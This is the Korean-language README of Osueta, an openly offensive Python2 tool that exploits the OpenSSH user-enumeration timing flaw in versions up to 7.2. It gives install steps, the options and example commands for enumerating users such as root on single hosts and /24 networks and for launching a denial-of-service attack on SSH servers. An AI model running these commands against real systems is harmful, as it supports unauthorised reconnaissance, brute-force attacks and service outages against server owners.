
OpenSSH User Enumeration Timing Attack을 악용하는 간단한 Python 스크립트입니다.
* ___ ___ ___ _ _ *
* / _ \ _ __ ___ _ _ / __/ __| || | *
* | (_) | '_ \/ -_) ' \\__ \__ \ __ | *
* \___/| .__/\___|_||_|___/___/_||_| *
* |_| *
* _ _ ___ _ _ *
* | | | |___ ___ _ _ | __|_ _ _ _ _ __ ___ _ _ __ _| |_(_)___ _ _ *
* | |_| (_-</ -_) '_| | _|| ' \ || | ' \/ -_) '_/ _` | _| / _ \ ' \ *
* \___//__/\___|_| |___|_||_\_,_|_|_|_\___|_| \__,_|\__|_\___/_||_| *
* *
* _____ _ _ _ _ _ _ *
* |_ _(_)_ __ (_)_ _ __ _ /_\| |_| |_ __ _ __| |__ *
* | | | | ' \| | ' \/ _` | / _ \ _| _/ _` / _| / / *
* |_| |_|_|_|_|_|_||_\__, | /_/ \_\__|\__\__,_\__|_\_\ *
* |___/ *
***************************************************************************
Osueta는 OpenSSH 사용자 열거 타이밍 공격(User Enumeration Timing Attack)을 악용하는 간단한 Python2 스크립트입니다.
이 공격은 OpenSSH 버전 <= 7.2 및 >= 5.*에 존재합니다. 이 스크립트는 무차별 대입 공격에 사용되는 사용자 이름을 변형할 수 있으며,
OpenSSH 서버에 DOS 조건을 설정할 수 있습니다.
http://seclists.org/fulldisclosure/2013/Jul/88
해당 버그는 OpenSSH 버전 7.3에서 수정되었습니다:
http://www.openssh.com/txt/release-7.3
c0r3dump3d | coredump<@>autistici.org
rofen | rofen<@>gmx.de
www.behindthefirewalls.com의 Javier Nieto님의 지원과 도움에 감사드립니다.
다른 공격 도구와 마찬가지로, 저자는 이 스크립트의 사용에 대한 모든 책임을 부인합니다.
Debian:
# apt-get install python-ipy python-nmap
# pip install paramiko
# pip install IPy
ArchLinux:
# pacman -S python2-ipy python2-nmap python2-paramiko
$ git clone https://github.com/c0r3dump3d/osueta.git
usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
[-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
[-c VERS] [--dos DOS] [-t THREADS]
OpenSSH 사용자 열거 시간 기반 공격 Python 스크립트
선택적 인자:
-h, --help 도움말 메시지를 표시하고 종료합니다.
-H HOST 호스트 IP 또는 CIDR 네트블록.
-k HFILE 파일에 있는 호스트 목록.
-f FQDN 공격할 FQDN.
-p PORT 호스트 포트.
-L UFILE 사용자 이름 목록 파일.
-U USER 단일 사용자 이름만 사용.
-d DELAY 고정된 시간 지연(초). 설정하지 않으면 지연 시간이 계산됩니다.
-v VARI 사용자 이름 변형 만들기(기본값: yes).
-o OUTP 긍정 결과를 저장할 출력 파일.
-l LENGTH 비밀번호 길이(문자, x1000)(기본값: 40).
-c VERS OpenSSH 버전 확인 여부(기본값: yes).
--dos DOS DOS 공격 시도 여부(기본값: no).
-t THREADS DOS 공격에 사용할 스레드 수(기본값: 5).
* 사용자 이름 변형을 포함한 단일 사용자 열거 시도:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
* 사용자 이름 변형 없이 단일 사용자 열거 시도 및 DOS 공격:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes
* 단일 사용자로 C 클래스 네트워크 스캔:
./osueta -H 192.168.1.0/24 -p 22 -U root -v no
* 파일에서 사용자 이름을 읽어 C 클래스 네트워크 스캔, 지연 시간 15초, 비밀번호 50000자:
./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50